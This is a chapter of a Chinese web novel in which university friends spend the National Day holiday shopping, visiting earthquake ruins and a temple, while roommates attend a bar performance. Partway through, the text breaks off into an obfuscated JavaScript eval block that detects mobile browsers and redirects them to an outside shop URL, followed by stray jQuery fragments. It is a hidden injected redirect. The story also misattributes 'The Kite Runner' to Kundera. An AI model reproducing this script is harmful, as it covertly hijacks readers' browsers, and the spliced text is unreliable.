第六章国庆假期，青春启航
军训结束后的第一个周末，南风市难得放晴。更让人期待的是——国庆长假来了。
天刚亮的时候顾北就醒了，翻了个身想再眯一会儿，窗外的鸟叫声却越来越密，像有人在树叶间撒了一把碎银子。他索性坐起来，摸出手机看了一眼——八点二十三分。这是半个月来第一次睡到自然醒，浑身骨头像散了架似的，却又透着一股说不出的舒坦。
宿舍里静悄悄的。刚子昨天就回了市区家里，被窝叠得方方正正，枕头压在被子上面。小明也早走了，昨晚就说好几个山东老乡约了今天去市区逛，床铺空着，被单拉得还算平整。阿涛的背包不见了，这哥们儿跟几个老乡组了团，一大早就出发去邻市旅游。辉昨天下午也回了邻市老家，说是家里亲戚等着团聚。海洋的床上也没人——这家伙昨晚又去网吧通宵开黑了。整个108宿舍，就剩顾北一个人了。
他坐起来发了会儿呆，然后拿起手机给欢发消息："起了没？国庆怎么安排？"消息刚发出去不到半分钟，手机就震了，是欢直接打了过来。"北！出来出来！"欢的声音在听筒里炸开，带着一股迫不及待的兴奋劲儿，"我和海晴就在宿舍楼下呢！国庆第一天，咱们得好好规划规划！"顾北愣了一下，随即笑了："等着，马上！"
他三下五除二穿好衣服，简单洗漱了一下，抓起外套就往外走。跑出北三宿舍楼的时候，一眼就看见了站在梧桐树下的欢和海晴。欢穿着一件深蓝色的运动外套，背着手在树下来回踱步，像只闲不住的猴子。海晴站在一旁，穿着浅粉色的针织衫，扎着高马尾，正低头看手机。"这儿这儿！"欢看见顾北，使劲挥手。顾北跑过去，三个人对上眼，忽然都笑了。
"半个月了！"海晴笑着说，"军训这半个月，咱仨愣是没凑齐过一顿饭。""别提了，"欢叹了口气，"我宿舍那帮人，全是游戏宅，一天到晚聊游戏，我插不上话，闷得慌。"海晴捂嘴笑起来："可别把你带坏了啊。""带坏？"欢翻了个白眼，"他们教我的第一课就是'别送人头'，第二课是'别抢我BUFF'，第三课是'你自己去练人机吧'——你说这叫什么事！"顾北和海晴笑得前仰后合。
"海晴，你呢？"顾北转头问。海晴想了想，认真地说："挺好的。我们宿舍五个姑娘，人都特别好。有个叫敏的，就睡我下铺，南风本地人，特别照顾我。对了，"她眼睛忽然一亮，"昨天我接到鱼儿的电话了！""鱼儿？"顾北一愣，"她不是考到C市了吗？""对！"海晴兴奋地说，"她学校国庆放七天假，说想过来找我们玩！今天晚上就到南风！""真的假的？"欢一下子来了精神，"那太好了！咱们四个可以一起活动！"顾北点点头，心里涌起一阵暖意。鱼儿是他们十个人里的一员——豪、皓、贤、鹏、龙、洋、聪、江、鱼儿——都是高中最要好的朋友。高考后她去了C市，本以为要寒假才能见上，没想到国庆就能聚。
"那今天怎么安排？"欢搓了搓手，"海晴你有什么主意？"海晴歪着头想了想："我听敏说，南风市区挺热闹的，有好多商场和特色小店。要不咱们今天先去逛街？顺便熟悉熟悉这座城市。鱼儿晚上才到，白天正好逛逛。""行啊！"顾北点头，"反正今天也没别的安排。""走走走，"欢大手一挥，"先去吃早饭，然后出发！"
三个人说说笑笑地往二食堂走。路上欢问起顾北的舍友，听完108的分布情况，感慨道："你那个宿舍倒是热闹，我那边除了敲键盘就是敲键盘。"海晴接话："我们宿舍好一些，五个姑娘各有各的爱好，敏喜欢烘焙，还有两个爱看韩剧。""韩剧？"欢撇嘴，"那个节奏慢得，一集能讲完的事非得拍十六集。""你懂什么，"海晴瞪他一眼，"人家那是细腻。"
顾北走在旁边，没插话。晨光从梧桐叶缝里漏下来，在地上铺了一层细碎的金点子。他忽然想起高中时他们几个人也是这样，上下学路上你一句我一句地拌嘴，从食堂聊到教室，从教室聊到操场。那时候觉得日子长得过不完，一晃却已经各奔东西了。
二食堂里人比平时少了许多。国庆第一天，不少学生都回家了或出去玩了。三个人很快买好早饭，找了个靠窗的位置坐下。阳光透过玻璃照进来，落在桌面上，暖洋洋的。"说实话，"欢咬了一口包子，含糊不清地说，"我这半个月，有时候晚上躺床上，会想咱们高中那会儿的事。"顾北看着他："想什么？""想咱们那间教室，"欢放下包子，眼神飘向窗外，"七十八个人，挤得满满当当，桌子挨着桌子，过道只能侧身走。那时候总觉得太挤了，现在想起来，却觉得挺好的。"海晴低下头，轻轻搅着碗里的粥："我也是。咱们那个班，可是全镇最好的重点班。能进去的，都是各个初中考进来的尖子生。""可不是嘛，"顾北笑了笑，"我记得刚分班那会儿，我坐最后一排，前面全是脑袋。上课的时候，想看清黑板上的字，得把头歪来歪去。"欢也笑了："你那会儿还老找我借笔记，说看不清。""你那字写得跟狗爬似的，我确实看不清！"顾北瞪他一眼。海晴噗嗤一声笑了："你们两个，上课互相抄笔记，下课一起打球，考试的时候还能一起进年级前十，也是神奇。""顾北你好像三年都是年级前十吧，"欢用筷子点着他，"人家三年高中一分钱学费都没交，全校独一份。"顾北笑了笑，没说话。他低头喝了一口粥，想起那些日子——早自习的时候教室里嗡嗡的背书声，课间操时操场上乌压压的人头，晚自习后骑着自行车穿过昏暗的街道。那时候觉得每天都一样，现在才发现，原来每一天都不一样。
吃完早饭，三个人往校门口走。8路公交车正好到站，他们上了车，找了个靠窗的位置坐下。车子晃晃悠悠地往市区开，窗外的景色从校园渐渐变成了街道。南风市不算大，但整洁干净，道路两旁的梧桐树已经开始泛黄，金灿灿的一片，像是被秋天泼了一桶颜料。"这城市真不错，"欢趴在窗边看着外面，"比咱们老家好多了。""是啊，"海晴也看着窗外，"路宽，树多，空气也好。"顾北没说话，但他看着窗外那些陌生的街道和行人，心里忽然有一种说不清的感觉——像是站在一条河的岸边，知道河水会把他带向某个地方，却还不知道那个地方在哪里。
约莫二十分钟后，公交车在终点站停下。三个人下了车，眼前是一条热闹的商业街。店铺林立，人来人往，国庆的气氛已经很浓了——街道两旁挂满了红旗，商场的电子屏上滚动着"欢度国庆"的字样。"走走走，逛逛去！"欢已经迫不及待地往前冲。他们沿着商业街一家一家地逛。欢看中了一家运动品牌的折扣店，拉着他俩进去试了半天鞋，最后买了一双打折的篮球鞋，高兴得像个孩子。海晴在一家饰品店挑了一条围巾，说是天气转凉了得备着。顾北给家里打了个电话报平安，又给哥哥姐姐分别发了消息问候。
路过一家书店时，顾北停下脚步："进去看看？""去吧去吧，"欢摆摆手，"我和海晴去对面奶茶店等你，你出来了直接过来找我们。"顾北一个人走进书店。店面不大，但书香浓郁，几排书架整整齐齐地摆着各类书籍。他随手翻了几本，最后在文学区停下来，拿起一本昆德拉的《追风筝的人》——高中时在《读者》杂志上看到过书评，但一直没读过。翻了几页，他忽然想起高一那年秋天，十个人一起去放风筝。那天天气特别好，豪带了个巨大的风筝，说是他爸给他做的。十二圈线都快放完了，风筝飞得又高又远，他躺在草坪上，目光追着风筝跑。只听豪一声"卧槽，线断了"，他们划拳决定谁去捡风筝，最后输的是鱼儿。贤不忍心让鱼儿一个女孩子去捡，主动站起来往山下跑，边跑边喊："我是追风筝的人。"顾北轻轻笑了一下，合上书买了下来。
走出书店，欢和海晴正坐在奶茶店里喝东西，见他进来欢立刻招手："北，你猜我刚才看见什么了？""什么？""那边有个游戏厅，"欢压低声音，"看着挺大的，要不咱下午去玩玩？""你都多大的人了，"海晴瞪他一眼，"还去游戏厅？""我这不是怀旧嘛！"欢理直气壮，"再说了，今天就是来放松的。"顾北笑着摇头："下午再说吧。对了，鱼儿几点到？"海晴看了眼手机："她说下午六点左右到火车站，咱们现在逛到四五点，然后去火车站接她，正好。""行，那就这么安排。"
下午三个人又逛了一会儿，欢如愿以偿地去了游戏厅，玩了半个小时的街头篮球机，出了一身汗。海晴在旁边的商场里买了些零食和水果，说晚上鱼儿来了可以吃。四点半左右，他们坐公交去了火车站。南风市火车站不大，但国庆期间人流不少。三个人在出站口等着，海晴一直踮着脚张望。"来了来了！"忽然海晴兴奋地挥手，"鱼儿！这边！"顾北顺着她的目光望去，只见一个扎着马尾辫的女孩拖着一个小行李箱，笑眯眯地朝他们走来。鱼儿穿着一件鹅黄色的卫衣，瘦瘦的脸上带着旅途的倦意，但眼睛亮晶晶的。"你们等久了吧？"鱼儿跑过来，一把抱住海晴，"哎呀太好了！终于见到你们了！""一路顺利吗？"顾北接过她的行李箱。"顺利！就是没买到坐票，站了一路。"鱼儿放开海晴，又冲顾北和欢笑了笑，"欢哥，顾北哥，好久不见！"顾北拍了拍她的肩膀："走，先带你去吃饭，饿了吧？""还真有点饿了。"鱼儿摸了摸肚子。
四个人打车回到学校附近，在学校后街找了一家川菜馆。海晴翻着菜单，"水煮鱼、毛血旺、辣子鸡——哎呀，看起来都很不错哦，都想来一份！""你悠着点，"鱼儿笑着按住她手，"咱们四个人吃不了那么多。"点完菜，热气腾腾的菜端上来，四个人边吃边聊。鱼儿讲她在C市的大学生活，说宿舍有个人打呼噜震天响，她每天晚上都得戴耳塞才能睡着；又说她们的辅导员特别年轻，看起来像刚毕业的学姐，站在讲台上比学生还紧张。大家听得哈哈大笑。
聊着聊着，海晴忽然放下筷子："鱼儿，你还记不记得高考前那个晚上？咱们班在操场搞的那个祈福活动。"鱼儿愣了一下，随即笑了："怎么不记得。那天晚上全班都去了，每人一支蜡烛，摆成一颗心。"顾北也想起了那个夜晚。高考前一周，班主任破天荒没有安排晚自习，而是带着全班七十八个人去了操场。每个人手里发一支白蜡烛，围成一个大圈，中间摆成一颗心的形状。那天晚上的风很轻，烛光在夜色里摇曳，每个人的脸都被照得柔和又明亮。班主任杨老师站在中间，声音有些哑："孩子们，你们是我带过最好的一届。高考只是人生的一个路口，不是终点。不管考成什么样，你们在我心里都是最棒的。"然后大家开始唱歌。先唱了班歌，又唱了《栀子花开》，不知道谁起了个头，又唱了《朋友》。"朋友一生一起走，那些日子不再有......"顾北记得当时站在他旁边的是豪，那个平时大大咧咧的男生，唱着唱着忽然低下头，肩膀抖了一下。他没有转头去看，只是伸手拍了拍豪的背。再往旁边，贤红着眼眶却使劲仰着头不让眼泪掉下来，鱼儿站在女生那边，烛光映在她脸上，亮晶晶的。唱完歌，班主任让每个人把蜡烛放进面前摆好的纸船里。七十八只纸船，七十八簇小火苗，顺着操场边的小水渠缓缓漂出去，星星点点地流向夜色深处。班主任说："这些船会替你们把愿望带到很远的地方。去吧，去更远的地方。"
"那天晚上，"欢靠在椅背上回忆着，"我记得谁许愿说想考去冰城，后来贤真去了。""可不是嘛，"鱼儿笑了，"还有人说想去海边，皓就去了D市。那个许愿也太灵了。"顾北轻轻说："我那天许的是，大家都好好的。"海晴看向鱼儿："你那天许了什么愿？"鱼儿低下头，用筷子轻轻拨着碗里的菜叶，过了几秒才开口："我许的......是希望那些在地震里走了的人，在另一边能好好的。"安静了一瞬。欢难得没接茬，只是举起杯子："那明天去B市。敬他们。""敬他们。"四个人轻轻碰杯。
吃过晚饭，欢和顾北回宿舍，敏回家去了，鱼儿便去了海晴的宿舍，两人要来个深夜畅聊。海晴的宿舍在306，推门进去，屋里安安静静的。敏回家了，另外两个室友也还没回来。鱼儿盘腿坐在海晴的床上，嚼着海晴扔给她的牛肉干，两个人有一搭没一搭地聊着。月光从窗外照进来，铺在床沿上。聊着聊着，海晴忽然安静了几秒，然后开口："跟你说件事。""嗯？""我和江分手了。"鱼儿一愣，嘴里还嚼着牛肉干，动作顿住了："什么时候的事？""开学前。"海晴把脸往枕头里埋了埋，声音有点闷，"高中那会儿在一起感觉还挺好的。从暑假开始慢慢就不对劲了，他没有考上，也不想复读，对未来也没有什么想法。我也不知道怎么去开导他，感觉相处起来很累，电话越来越少，最后就......算了。"鱼儿放下牛肉干，伸手拍了拍她的后背："你还好吗？""还行吧，"海晴翻了个身，看着天花板，"其实也没多难受，就是觉得有点可惜。毕竟是高中就喜欢的人，好不容易在一起了，结果这么快就散了。"她顿了顿，侧过头看向鱼儿，"你呢？你和贤......到底怎么样了？"鱼儿的手指停了一下，嘴角却浮起一点笑意。"我们在一起了。""什么？！"海晴一下子坐起来，瞪大眼睛，"什么时候的事？""就暑假的时候吧，"鱼儿也坐起来，抱着膝盖，声音里藏着一点藏不住的高兴，"他说他高中三年都没敢开口，他知道去了冰城异地更难，但不想再等了。然后我就答应了。"海晴愣了两秒，然后猛地扑过去抱住她："鱼！你也太能瞒了吧！都在一起了现在才告诉我！""哎呀你别晃我！"鱼儿被她晃得东倒西歪，笑着推开她，"我也是想当面跟你说嘛。""那你们现在联系多吗？""他是学工程的，我是学医的，学业都不轻松。我们说好了，现在以学业为重，寒暑假回家再见面。我也不知道以后会怎么样，但至少现在......我想试试。"海晴看着她，忽然笑了："你笑起来的样子，跟以前不一样了。""哪里不一样？""以前你笑起来是那种'我没事'的笑。现在你提到贤，你整个人都是亮的。"鱼儿没说话，但嘴角弯着，月光落在她脸上，映出一层浅浅的柔光。安静了一会儿，海晴重新躺下来，望着天花板："真好。你们要好好的。""嗯。"鱼儿也躺下来，"你也是。江那边......会过去的。""我知道。"海晴轻轻笑了笑。月光静静的。两个女孩都没再说话，窗外偶尔传来几声虫鸣，和远处宿舍楼里隐隐约约的笑闹声混在一起。过了一会儿，鱼儿打了个哈欠："明天还得早起去B市呢，睡吧。""嗯，晚安。"
顾北回到108宿舍，只有小明一个人趴在桌上，一脸郁闷。"咋了，小明？"顾北问道。"去他二大爷的，"小明抬起头，"今天去逛街买衣服，衣服选好穿身上了，一掏口袋发现钱被偷了。老板娘也倒霉，衣服没卖出去，还贴了我5块钱路费。"说完噗嗤一声笑了。顾北一愣，也跟着笑起来："丢了多少？""一百多，还好，"小明摆摆手，"就当花钱买教训了。你呢，今天怎么样？"顾北把今天的事简单说了说，小明听完点点头，一夜无话。
第二天一早，天刚蒙蒙亮。顾北、欢、海晴、鱼儿四个人在学校门口碰了面。天空有些阴沉，云层压得很低，像要下雨又没有下。B市离南风市区四十多公里，他们坐了一辆小面包车。车子驶出城区后，窗外的景色渐渐变得荒凉起来——路面坑坑洼洼，田野里偶尔能看见歪斜的电线杆和半塌的围墙。鱼儿一直望着窗外没有说话，海晴轻轻握了握她的手。
到了地方，司机把车停在一片空地前："就这儿了，里面车进不去。"没有大门，没有售票处，没有指示牌。只有一条被压实的土路向前延伸，路两旁长满了半人高的野草。远处，几栋歪斜的建筑轮廓在晨雾里若隐若现。越往里走越安静——不是山野里那种自然的安静，而是一种被抽走了什么的静。风从废墟间穿过，发出低沉的呜咽声。路边开始出现坍塌的房屋。有些只剩半面墙，裸露的钢筋扭曲着伸向天空。有些楼歪斜着靠在旁边的建筑上，像站累了的人互相搀扶。墙上的标语依稀可辨，写着"团结一心重建家园"之类的字迹，但字已经褪了色，被雨水冲刷得斑驳不清。地上散落着各种东西——一只变形的搪瓷杯，半截埋在土里的书包带子，几本泡烂了的课本，纸页卷曲着粘在一起。鱼儿在一段断墙旁边停下来，蹲下身，伸手拨开一丛草，露出下面一块门牌——蓝底白字，字迹已经看不清。她没有说话，盯着那块门牌看了很久，然后站起来，继续往前走。
越往里走，废墟越密集。有一片区域明显是居民区，几栋楼像积木一样塌在一起，楼板斜插在地上，钢筋从混凝土里戳出来，生了锈，在阴沉的天空下泛着暗红色。碎石堆里露出一截自行车轮毂，变形的车圈上还挂着一根褪色的丝带。海晴的脚步慢下来，她看着那截丝带，张了张嘴，又闭上了。欢走在前头，忽然停住了。他面前的空地上，散落着几十只鞋——大大小小的，有运动鞋、有凉鞋、有童鞋，有些还成双，有些只有一只，被雨水和泥土泡得变了形，像一片沉默的记号。四个人站在那儿，谁都没有说话。再往前走，出现一片稍大的空地。地上摆着几束已经开始枯萎的白菊和康乃馨，旁边插着几根燃尽的香烛，灰烬被风吹散了大半。没有碑，没有名字，只有一块被扶正的石头，上面用红漆写着几个歪歪扭扭的字，已经被晒得褪了色，看不清楚了。
鱼儿在那块石头前停下来。她没有鞠躬，也没有说话，就只是站在那里，双手垂在身侧，低着头，一动不动。风从远处吹来，吹动她额前的碎发。她抬手抹了一下眼睛。顾北站在她身后半步的地方，也低下头。欢和海晴站在更后面一点的地方。四个人就这样沉默地站着，只有风穿过废墟的呜咽声，和远处偶尔传来的一两声鸟鸣。过了很久，鱼儿轻轻说了一句："走吧。"她的声音很哑，但很稳。
他们又看了一些地方。一所学校的操场，篮球架歪在地上，篮板碎成了几块。一栋居民楼，一楼完全陷进了地里，二楼斜搭在旁边，像一个跪下去的人。墙角有一块黑板，还挂着半截粉笔，上面没有字，只有雨水冲刷过的痕迹。海晴轻声说："那时候我在电视上看到这些画面，以为已经够震撼了......亲眼看到，才知道那种感觉完全不一样。"
下午四点左右，工作人员提醒所有人不要再下去，全部返程，四个人离开了那片废墟。面包车发动的那一刻，鱼儿回头看了一眼后窗，什么都没说，然后转回来，靠在座位上闭上了眼睛。阳光终于从云层缝隙里漏了下来，照在她脸上。车上安静了很久。开出一段路后，欢忽然开口："晚上吃什么？"鱼儿愣了一下，睁开眼，然后笑了："你还想着吃呢？""当然想了，"欢理直气壮，声音比刚才大了些，"再怎么沉痛，生活也得继续不是？吃饱了，才有力气好好活下去。"顾北点点头："说得对。晚上咱们吃顿好的。""我请客，"鱼儿说，声音里终于有了一点热气，"就当谢谢你们陪我出来。""那我们可不客气了。"欢搓了搓手。
面包车在夕阳中驶回南风市区，金色的光芒铺满整条公路。四个人靠在一起，看着窗外渐渐变得平整的公路和安详的田野，心里都有种说不出的复杂——沉重之外，还有一点被洗过的清透。回到学校已经是傍晚了。学校后街一家火锅店里，热气腾腾的锅底端上来时，四个人的情绪才真正回暖了些。"来，干杯！"欢举起饮料杯，"庆祝咱们国庆假期第二天圆满完成！""你这庆祝词也太敷衍了，"海晴笑着碰了碰他的杯子，但还是认真补充道，"那就祝咱们四个人，以后不管遇到什么事，都能像今天一样互相陪着。""敬友情，"顾北说。"敬明天，"鱼儿说。四个人碰杯。橙色的饮料在灯光下亮晶晶的，像一团小小的火焰。
吃完饭，顾北独自走回北三宿舍楼。夜色已经彻底落下来，梧桐大道的路灯次第亮起，像一串被随手搁在地上的珠子。斜对面的北二宿舍楼，三楼有一扇窗亮着暖黄的灯，隔着梧桐树影看不真切。他听见风铃的声音从那个方向飘过来——细细碎碎的，木片互相碰触的声响。他不知道那是哪个宿舍挂的，只是那声音在夜风里轻轻响着，让人莫名心安。
他回到108，躺上床，拿起手机点开那个十个人的QQ群，发了一张今天在废墟外面拍的合照——四个人站在一起，身后是灰白的天空和远山，脚下是碎石和泥土。配了一句话："今天陪鱼儿去了B市。心里很沉，但也很踏实。"没过多久，手机开始震动。皓："我一直想去但没敢去。你们替我也鞠一躬。"贤："寒假回去聚！说好了！"艳："+1！"江："+1！"洋："+1！"看着屏幕上跳出来的消息，顾北弯起嘴角。有些朋友，隔得再远，也还在心里。他关掉手机，闭上眼睛。窗外月光照进来，风铃的声音从远处若有若无地飘着。
而在北二宿舍楼306室，向南正坐在窗边的书桌前，手机屏幕亮着，是涵发来的消息："明天晚上扯扯在'旧时光'有演出！南风最出名的那家清吧！咱们寝室全体出动给扯扯捧场！不准缺席！"向南回了一个"好"，把手机放下，偏头看向窗外。北三的宿舍楼在夜色里亮着零星的灯火，风从那边的梧桐树间吹过来，带着桂花若有若无的香气。她把窗户推开一条缝，让那香气飘进来。那天晚上，向南做了一个梦，很长很长。
第二天下午，向南和室友们出了门。涵走在最前面，步伐带风，扎着的高马尾一甩一甩的。晓琪挽着皓丹的胳膊，一路上叽叽喳喳地讨论晚上要点什么喝的。皓丹安安静静地听着，偶尔插一句"那我也试试"。向南走在最后，穿着那件白色的针织开衫，长发披散在肩上，手里攥着手机，看她们在前面闹。"向南你走快点！"涵回头喊，"扯扯说了，今天下午要早点过去，她说想趁人少的时候带咱们先转转，熟悉一下环境！""来了来了。"向南加快脚步。
旧时光清吧在南风市区一条安静的巷子里，门面不大，招牌上挂着复古的霓虹灯，"旧时光"三个字在黄昏里泛着暖黄的微光。推开厚重的木门，里面光线昏暗，空气里飘着淡淡的酒香和音乐声。吧台后面摆满了各种酒瓶，墙上是旧唱片和海报，角落里摆着一台老式留声机。扯扯正站在吧台后面，手里拿着一块抹布擦杯子，穿着一件黑色T恤，短发利落地别在耳后。看见她们进来，扯扯咧嘴一笑："来了？正好，帮我把这些气球挂上，老板说国庆要布置一下。""你在南风最出名的清吧驻唱，之前怎么没说！"涵嚷嚷。"路过看见招驻唱，进来试了试，老板觉得还行就留了。"扯扯把气球递给她，"今晚我唱开场和压轴，中间还有两个驻唱轮着来。你们找个好位置。"
涵接过气球，踩着凳子开始往墙上挂。向南帮着把彩带理好，皓丹在调整桌上蜡烛的位置。黄昏的光从窗户斜斜照进来，把整个清吧浸在一层琥珀色的暖意里。几个人忙活了大半个小时，清吧里焕然一新。扯扯调了几杯气泡水端过来，五个人围坐在靠窗的卡座里，难得地安静下来歇口气。"从开学到现在，这是咱寝室第一次全员出来聚吧？"涵啜了一口气泡水。"可不是，"晓琪掰着手指头数，"军训那半个月累成狗，终于可以放松一下了。"扯扯靠在沙发里，仰头看着天花板上挂的气球："以后这样的机会多着呢。我每周五、周六都在这儿驻唱，你们随时来，我给你们留座。""那必须的！"涵一拍桌子，"以后咱306的固定据点，就这儿了！"向南端起杯子喝了一口，青柠和薄荷的味道在舌尖散开，清爽又温和。她靠在窗边，看着巷子外偶尔经过的行人，听着室友们叽叽喳喳的谈笑声，忽然觉得这样真好。
"各位晚上好，欢迎来到旧时光。"吧台后面，一个中年男人放下手里的毛巾，走到舞台中央。他约莫五十岁，两鬓有些灰白，穿一件洗得发软的深蓝衬衫，袖口卷到小臂。他在高脚凳上坐下，抱起一把旧木吉他，指腹在琴弦上轻轻蹭了一下，像是跟老熟人打招呼。"国庆嘛，"他笑了一下，眼角堆起细密的纹路，"我来唱第一首。"
前奏从他指尖淌出来，很慢，很稳。《我和我的祖国》，但调子被他降了一些，低低沉沉的，像一条河在平原上慢慢铺开。他开口的时候，声音有些沙，是那种抽了很多年烟、说了很多年话才磨出来的沙。"我和我的祖国，一刻也不能分割——"他唱得不煽情，不激昂，甚至有些过于平静了。但正是那种平静，让那句歌词忽然有了重量。向南看见吧台尽头一个独自坐着的男人放下了手机，转过头来看着舞台。涵也没说话，杯子端在手里，忘了喝。唱到"浪是那海的赤子，海是那浪的依托"时，老板微微闭了一下眼，像是在想什么很远的事情。最后一个音符落下去，他在琴弦上轻轻按住余音。清吧里安静了两三秒，然后掌声响起来，不热烈，但很沉。老板站起来，把吉他靠回墙角，冲台下点了点头，重新走回吧台后面，拿起那块毛巾，继续擦杯子。
接着上台的是一男一女。男的抱着一把古典吉他，女的坐在键盘后面。两人没有寒暄，对视一眼，前奏就起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881398|212473||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。爵士版的《Fly Me to the Moon》，慵懒、松弛，带着一层薄薄的烟熏味。女生的声音低低的，像在跟谁耳语，每个尾音都轻轻散在空气里。涵端着杯子听得入了神，举在半空忘了放下来。一曲唱完，男的换了一首《故乡的云》，这次是他开口。声音厚实温暖，像一条旧毯子盖下来。向南看见角落里那对中年夫妇轻轻晃着身体，妻子把头靠在丈夫肩上。
第三个上来的年轻人抱着民谣吉他，短发，圆框眼镜。他安安静静地唱了一首《同桌的你》，慢到每一句中间都留着一口呼吸的间隙。"那时候天总是很蓝，日子总过得太慢"，唱到这一句时，清吧里有人轻轻笑了一声，不知道想起了什么。最后一个字落下，他在琴弦上轻轻一拨，余音慢慢散进空气里。
三个歌手，三种完全不同的味道。爵士、民谣、老歌，像三条从不同方向流过来的河，在旧时光里短暂交汇，又各自安静地退回去。快十点的时候，灯光又暗了一档。一直靠在吧台边喝水的扯扯忽然直起身，把杯子搁下，走到舞台角落，弯腰拎起那把电吉他。动作干净利落，像是早就等着这一刻。背带挂上肩膀的瞬间，整个清吧的空气像是被拉紧了一寸。"最后一首，"她咧嘴笑了笑，露出一颗虎牙，"艾薇儿的《Girlfriend》。"
电吉他的前奏炸出来的时候，涵直接从座位上蹦了起来。晓琪"哇"了一声，手里的杯子晃了一下。扯扯站在话筒前，短发随着甩头的动作扬起来，声音从她嗓子眼里迸出来，带着一股不管不顾的劲儿。清吧里几个年轻客人跟着喊出了副歌，吧台后面的老板终于放下杯子，靠在酒柜上，笑着摇了摇头。唱完最后一个和弦，扯扯喘着气把电吉他放下来，端起水杯灌了一大口。汗湿的碎发贴在额角，她随手拨开，走回卡座坐下。涵鼓掌鼓得掌心发红："扯扯你也太帅了！""还行，从小跟我姐学的。"扯扯靠进沙发里，把脚搭在对面的凳沿上。
向南把一杯新的气泡水推到她面前，看着她仰头灌下去时滚动的喉结。她忽然想起老板唱第一首时微微闭眼的模样，想起爵士女歌手低低的尾音，想起民谣吉他手那一声若有若无的笑。三个不同的声音，加上最后这个人——像是一个夜晚里的四场雨，每一场下完，空气都变了一个味道。"你姐？"涵好奇地探过身子。"我姐在北边做音乐制作，给一些歌手做过专辑，"扯扯轻描淡写地说，像在讲一件很平常的事，"小时候她练琴我就跟着瞎弹，后来慢慢就会了。有时候她会给我推一些演出机会，这边的圈子还算认识几个人。"涵吹了声口哨："原来你背后有人啊。""有人也没用，活儿还得自己唱。"扯扯笑着灌了一口水，把吉他靠回墙边，"行了，今天状态还行。对了，"她转头看向向南她们，"明天你们有安排吗？我听说桑水寺那边秋天特别漂亮，要不要一起去逛逛？""桑水寺？"涵眼睛一亮，"听说香火特别旺，许愿很灵。""那就这么定了，"扯扯点头，"明天上午出发。"向南笑了笑："好。"
第三天一早，天朗气清。顾北、欢、海晴、鱼儿四个人在食堂吃过早饭，出发前往桑水寺。桑水寺在南风市北郊的龙山脚下，从学校走过去大约二十分钟。九月底十月初的阳光温和不燥，照在身上暖洋洋的。四个人沿着公路慢慢走着，路两旁是高大的梧桐树，叶子已经开始泛黄，风一吹沙沙作响。"你们说，许愿真的灵吗？"欢忽然问。海晴想了想："心诚则灵吧。""那我要许三个愿望，"欢掰着手指，"第一，期末考试不挂科。第二，和她好好的。第三——""等等，"顾北打断他，"你这顺序不对吧？女朋友比不挂科还重要？""当然重要！"欢理直气壮，"有了她，就算挂科也有人安慰我！"海晴噗嗤一声笑了："那你一定要和她好好的。""那必须的。"欢自信地说。鱼儿在旁边笑弯了腰："欢哥你还是这么贫。"
走了大约二十分钟，前方渐渐热闹起来。一条青石板路蜿蜒向上，路两旁摆满了各种小摊——卖香烛的、卖纪念品的、卖小吃的，吆喝声此起彼伏。顺着石板路望上去，一座古色古香的寺庙静静伫立在山腰处，黄墙黛瓦，飞檐翘角，在蓝天的映衬下格外庄重。"到了到了！"欢兴奋地指着前面，"桑水寺！"
四个人跟着人流往上走。青石板路被岁月磨得光滑，两侧的香烛店里飘出淡淡的檀香味，混着小吃的香气，竟有种奇异的和谐。海晴被一个卖手串的小摊吸引，停下来挑了半天，最后选了一串浅粉色的水晶，说是要送给宿舍的敏。鱼儿则在一个卖香囊的小摊前停下，挑了一个绣着平安二字的深蓝色香囊，握在手心里没说话。"那我也得买点啥，"欢四处张望，"要不买把香？许愿总得有个东西吧。"顾北点点头，在一个香烛摊前停下，买了一把细香。
走进山门，迎面是一尊笑口常开的弥勒佛，两侧是四大天王的塑像，高大威严，让人不由自主地放轻脚步。再往里走，穿过一个院落，便是大雄宝殿。大殿里香烟缭绕，诵经声隐隐约约从深处传来。几尊佛像端坐在莲台上，慈眉善目，俯视着来来往往的善男信女。阳光透过雕花的窗棂洒进来，落在地上像碎金一般。四个人在殿外点燃香，按照旁边一位老居士的指点，先拜了拜，然后依次把香插进香炉。青烟袅袅升起，带着他们的愿望，飘向看不见的高处。"走，进去许愿。"欢率先走进大殿。
顾北跟在他身后，刚跨过高高的门槛，目光忽然顿住了。大殿一侧的蒲团上，跪着一个熟悉的身影。她穿着一件白色的针织开衫，长发披散在肩上，双手合十，微微垂着眼，神情专注又虔诚。阳光从侧面的窗户照进来，在她身上镀了一层柔和的光，衬得她整个人像一幅画。是向南。
顾北愣在原地，一时间竟忘了往前走。向南似乎感应到了什么，睁开眼睛，微微侧过头。目光和顾北撞上的一瞬间，她愣了一下，随即弯起眼睛笑了。"顾北？"她的声音轻轻的，带着几分意外，"你怎么在这儿？""我......和高中同学一起来逛逛。"他指了指身后的欢、海晴和鱼儿，"这是欢，这是海晴，这是鱼儿，我们一起考过来的......哦，鱼儿在C市上学，国庆过来玩。"向南站起身，朝欢他们点点头，笑容温柔："你们好，我是向南，顾北的同班同学。""你一个人来的？"顾北有些意外。"和室友们一起来的，"向南笑了笑，侧身让开视线，"她们许完愿去后面逛了。"
顺着她的目光，顾北看见大殿侧门那边，扎着高马尾的涵正探进半个身子朝这边张望，目光锁定向南，又落到顾北身上，立刻"哟"了一声，缩回去不见了。紧接着外面传来压低嗓门的骚动："等等等等！向南跟人说话呢！谁啊？""男的？""我看看我看看！""别挤！"向南耳根微红，头微微侧开了一下。海晴凑过来压低声音："顾北，你同学？挺好看的嘛。"顾北耳根一热没接话。
